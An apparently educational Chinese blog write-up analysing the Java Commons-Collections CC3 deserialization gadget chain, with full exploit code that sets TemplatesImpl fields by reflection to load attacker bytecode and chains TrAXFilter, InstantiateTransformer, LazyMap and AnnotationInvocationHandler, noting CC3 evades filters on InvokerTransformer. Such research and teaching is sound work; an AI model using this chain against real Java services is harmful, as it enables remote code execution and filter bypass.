Java反序列化Commons-Collections——CC3

0x01 前言

CC3与之前CC1和CC6存在较大不同,主要体现在了命令执行的方式上。在CC1和CC6中都是通过调用InvokerTransformer#transform方法,通过Runtime.getRuntime().exec()来执行命令的,而CC3则是通过类加载,加载自己构建的.class文件来实现,可以简单认为CC1和CC6是命令执行,而CC3是代码执行。

在研究CC3之前,这里先补充一下Java类加载的相关知识。

0x02 Java动态类加载

一、类加载器ClassLoader

一切的Java类都必须记过JVM记载后才能运行,ClassLoader的作用就是Java类文件的加载。在JVM类加载器中最顶层的是BootStrapClassLoader(引导类加载器)ExtensionClassLoader(扩展类加载器)AppClassLoader(系统类加载器)AppClassLoader是默认的类加载器,如果在类加载时不指定类加载器,则默认会使用AppClassLoaderClassLoader#getSystemClassLoader返回的系统类加载器也是AppClassLoader

二、ClassLoader加载.class文件

这里参考P神的Java安全漫谈系统中谈到的URLClassLoaderURLClassLoader实际上是AppClassLoader的父类,所以这里分析下URLClassLoader的工作流程就是在分析Java类加载的实际工作流程。

正常情况下,Java会根据配置项sun.boot.class.pathjava.class.path中列举到的基础路径来寻找.class文件来加载,这个基础路径分为三种情况:

  • URL不以/结尾,则认为是一个jar文件,使用JarLoader来寻找类,即在Jar包中寻找类。
  • URL以斜杠/结尾,且协议名为file,使用FileLoader来寻找类,即在本地文件系统中寻找.class文件。
  • URL以斜杠/结尾,且协议名不为file,使用最基础的Loader来寻找类。

在正常开发是通常使用的是前两种方式,想要使用最基础的Loader实现加载可以通过http协议:

1
2
3
4
5
6
7
8
public class Hello {
static {
System.out.println("Hello class");
}
public Hello() {
System.out.println("Hello constructor");
}
}

这里写一个Hello生成对应的.class文件,用于远程加载,生成Hello.class文件可以直接通过 idea 生成, 也可以通过javac 命令生成。

1
javac Hello.java

image-20250510183027854

image-20250510183246219

可以看到成功请求到对应的.class文件,并且成功加载了Hello.class文件以及初始化。

那么如果远程加载的地址是可控的,那么攻击者就可以利用远程加载的方式执行任意代码了。

三、defineClass加载字节码

了解了ClassLoader加载类,那么具体是如何加载字节码文件呢?下面继续来看:

不管是加载.class还是.jar文件,Java都会经历以下过程:

1
ClassLoader#loadClass -> ClassLoader#findClass -> ClassLoader#defineClass
  • loadClass:是从已加载的类缓存、父加载器等位置寻找类(双亲委派机制),在前面没有找到的情况下执行findClass
  • findClass:是根据基础URL指定的方式来加载类的字节码,可能会在本地系统、jar包或者远程http服务器上读取字节码,然后交给defineClass
  • defineClass:是处理findClass提供的字节码,将其处理为真正的java类。

分析完上面的整个流程,可见整个流程中的核心是defineClass,它决定了一段字节流如何转变为一个Java类,并且ClassLoader#defineClass最终是调用了一个Java的Natinve方法,其逻辑在JVM中通过C语言代码实现。

这里借鉴P神的代码来演示一下

1
2
3
4
5
6
7
8
public static void helloDefineClass() throws Exception {
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class,
int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAHgoABwAPCQAQABEIABIKABMAFAgAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAIAAkHABgMABkAGgEAEUhlbGxvIGNvbnN0cnVjdG9yBwAbDAAcAB0BAAxIZWxsbyBzdGF0aWMBAAVIZWxsbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACwAAAA4AAwAAAAYABAAHAAwACAAIAAwACQABAAoAAAAlAAIAAAAAAAmyAAISBbYABLEAAAABAAsAAAAKAAIAAAADAAgABAABAA0AAAACAA4=");
Class hello = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
1
2
# 获取字节码的base64字符串
cat Helle.class | base64

image-20250510195238117

需要注意的是,在defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用该类的构造函数,初始化代码才能执行。并且,即使将初始化代码写在static代码块中,在defineClass时也无法被直接调用到。所以,如果我们要使用defineClass来实现代码执行,就需要想办法调用到构造函数。

这里因为系统的defineClass是一个protected属性,所以我们是无法直接在外部访问的,需要通过反射的形式来调用。在实际场景中,因为defineClass方法的作用域是不对外开放的,所以攻击者很少能直接利用,但它却是一个常用攻击链的基石——TemplatesImpl

四、代码执行顺序

明确一下类的初始化和对象的初始化

  • 类的初始化:

    指的是当类被加载到JVM中时执行的过程。在这个过程中,JVM会执行静态初始化块和静态变量的初始化。这些静态成员只会初始化一次,在类加载过程中完成。静态初始化块中的代码会在类加载时执行,这意味着在第一次创建类的对象之前执行 。

  • 对象的初始化:

    指的是创建类的对象时执行的过程。在对象初始化的过程中,JVM会为对象分配内存,并执行非静态初始化块、实例变量的初始化以及构造函数。

这里通过一段代码来验证一下整个相关的执行过程:

1
2
3
4
5
6
7
8
public class Initialize {
static {
System.out.println("静态代码块执行");
}
public Initialize() {
System.out.println("构造方法执行");
}
}

image-20250510153524419

可以看到确实是静态代码块先于对象的初始化。

并且,在仅进行类加载时 ,静态代码块中的代码就可以执行,当然 ,这里要看下Class.forName()

image-20250510154649730

可以看到Class#forName是有两个实现,但两个实现都是调用了Class#forName0的Native方法,其中Class#forName0方法参数initialize,表示在类加载时,是否对类进行初始化,

image-20250510155640672

而上述代码中调用的Class#forName默认 initialize=true,即在加载类时进行初始化,

image-20250510155802731

所以直接通过Class.forName(String className)会执行static中的代码。

0x04 TemplatesImpl分析

在了解完类加载之后,接下来开始分析这条CC3链中的核心TemplatesImpl

在上述说到,可以通过加载.class文件来实现命令执行,这里先准备一个calc.class文件,用以验证命令执行。

image-20250511015704114

在类加载中有提到,defineClass是加载类的核心,这里直接找到ClassLoader#defineClass,然后findUsages,因为defineClass默认属性是protected,所以我们希望可以找一个public属性的重载,或者通过某种方式被外部调用的重载。

最终也是找到了一个default属性的重载

image-20250511034010013

default类型的方法可以被内部类调用,直接在文件中搜索看哪个方法调用了

image-20250511034207545

该类下仅有这个defineTransletClasses方法调用了defineClass,分析一下这个方法,想要满足调用defineClass,必须满足_bytecodes != null,并且这个方法是private属性,还不符合我们的期望,再看这个方法被谁调用了

image-20250511034650372

getTransletInstance想要满足调用defineTransletClasses,必须满足_name!=null,并且_class==null,并且在调用完defineTransletClasses后,该方法还会执行newInstance方法,即初始化_class[_transletIndex],该方法就非常符合我们对反序列化链构造的预期,但该方法仍然是private属性,继续找

image-20250511034839354

终于找到一个public属性的方法,并且该方法直接就可以去调用getTransletInstance

找到了完整的调用过程如下:

1
2
3
4
TemplatesImpl#newTransformer
TemplatesImple#getTransletInstance
TemplatesImpl#defineTransletClass
TemplatesImpl#defineClass

这里直接写一个exp

image-20250511153159748

构想的整个调用链如上,在满足所有条件后,会通过调用newTransformer方法实现代码执行,但这里还没有满足执行所需的条件,所有下面继续看:

newTransformer方法中没有需要满足的条件直接就可以调用下一个方法,直接看getTransletInstance方法

image-20250511035501439

这里想要调用defineTransletClass,需要满足 _name!=null && _class==null

image-20250511035704715

这两个都是TemplatesImpl的成员变量,然后去看TemplatesImpl的构造方法,看在初始化对象的时候是否进行了这两个成员变量的初始化

image-20250511153036504

这里我们调用的构造方法是空,所以就需要自己赋值:

1
2
3
4
5
6
7
8
public static void exp1() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
templates.newTransformer();
}

然后继续断点调试

image-20250511153622171

发现成功满足_name!=null&_class=null,会进入到defineTransletClasses

然后看想要调用defineClass需要满足的条件:

image-20250511154106635

首先是需要满足_bytecodes != null,并且_tfactory调用了一个方法,所以_tfactory也不能为null

image-20250511154324881

image-20250511154347204

可以看到_bytecodes是一个byte[][],另外_tfactorytransient修饰,即不序列化这个成员变量,这里先给_bytecodes赋值,_tfactory等下再分析。可以在defineTransletClasses中发现,_bytecodes其实就是我们要加载的字节码,并且是通过一个for循环逐个通过defineClass加载一个byte[],如下:

image-20250511155354611

那么其实这里我们只需要传入一个一维的字节数组即可

image-20250511155722105

同样断点调试,发现在_tfactory处出现了空指针异常,因为现在_tfactory=null,所以这里要给_tfactory进行赋值

image-20250511160048201

那么我们就要看_tfactory正常是如何进行赋值的:

image-20250511160813977

可以看到,_tfactory = new TransformerFactoryImpl(),这里我们同样通过反射的方式来对_tfactory进行赋值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void exp1() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();
// _name
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
// _bytecodes
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/rea1m/JavaSec/Commons-Collections/temp/calc.class"));
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates, bytecodes);

// _tfactory
Field tfactoryField = clazz.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}

同样断点执行:

image-20250511161923356

发现在_auxClasses处出现了空指针错误,虽然这里执行了defineClass,但是没有实例化对象,仍然不能执行命令,所以这里必须要正常结束defineTransletClasses的调用去执行getTransletInstance方法中的newInstance实例化我们加载的字节码。

分析下如何才能避免空指针异常

1
2
3
4
5
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
} else {
_auxClasses.put(_class[i].getName(), _class[i]);
}

这里,要么对_auxClasses进行赋值,要么令superClass.getName().equals(ABSTRACT_TRANSLET)true,这里需要选择后者,因为如果走到else时,_transleetIndex不会被赋值,那么

image-20250511162755970

_transletIndex初始化值为-1

image-20250511162858007

则又会抛出异常,所以这里需要去走到if

image-20250511163013351

就需要我们的_class[i].getSuperClass()==ABSTRACT_TRANSLETABSTRACT_TRANSLET的值为:

image-20250511163146216

也就是说,传入的字节码的类需要继承这个ABSTRACT_TRANSLET

image-20250511163942735

因为AbstractTranslet是一个抽象类,所以需要实现相应的抽象方法

image-20250511164255019

然后再将这个类编译一下,再执行我们的exp

image-20250511164436266

也是成功执行了我们的恶意代码。

0x05 TemplatesImpl利用

上面所分析的其实只是一种命令执行的方式,还需要配合来构建完整的反序列化链,例如与CC1和CC6相结合

下面给出CC1利用TemplatesImpl执行命令的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz1 = templates.getClass();
// _name
Field nameField = clazz1.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
// _bytecodes
Field bytecodesField = clazz1.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/rea1m/JavaSec/Commons-Collections/temp/calc.class"));
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates, bytecodes);

// _tfactory
Field tfactoryField = clazz1.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(
Override.class,
decoratedMap
);
Proxy proxy = (Proxy) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Map.class},
invocationHandler
);

invocationHandler = (InvocationHandler) constructor.newInstance(
Override.class,
proxy
);
serialize(invocationHandler);
deserialize("ser.bin");

image-20250511194912758

因为CC6和CC1前半段链是相同的,所以不再讨论。

0x06 CC3分析

接着TemplatesImpl的分析,是成功分析到newTransform,直接在newTransformer上findUsages

![image-20250511201520291](/Users/rea1m/Library/Application Support/typora-user-images/image-20250511201520291.png)

这里找到4个,这里分析下为什么会选择TrAXFilter

image-20250511202005068

这个TrAXFilter没有继承Serializable,但是这个构造方法中_transformer = (TransformerImpl) templates.newTransformer();,直接通过调用TrAXFilter的构造方法就可以实现命令执行。

image-20250511203004034

然后来看下CC3使用的InstantiateTransformer:

image-20250511204152177

image-20250511203241471

InstantiateTransformer#transform如果传入的Class不为空,则调用该类的构造方法并进行实例化,调用这个transform即为:

input(iArgs),通过构造函数传入TemplatesImple,然后transform传入TrAXFilter即:

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

image-20250511204110861

调用了transform就可以和CC1或CC6前半段链结合,这里以CC1为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public static void exp2() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz1 = templates.getClass();
// _name
Field nameField = clazz1.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
// _bytecodes
Field bytecodesField = clazz1.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/rea1m/JavaSec/Commons-Collections/temp/calc.class"));
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates, bytecodes);

// _tfactory
Field tfactoryField = clazz1.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(
Override.class,
decoratedMap
);
Proxy proxy = (Proxy) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Map.class},
invocationHandler
);

invocationHandler = (InvocationHandler) constructor.newInstance(
Override.class,
proxy
);
serialize(invocationHandler);
deserialize("ser.bin");
}

image-20250511210716047

成功命令执行。

0x07 总结

CC3是为了绕过一些规则对InvokerTransformerRuntime的限制。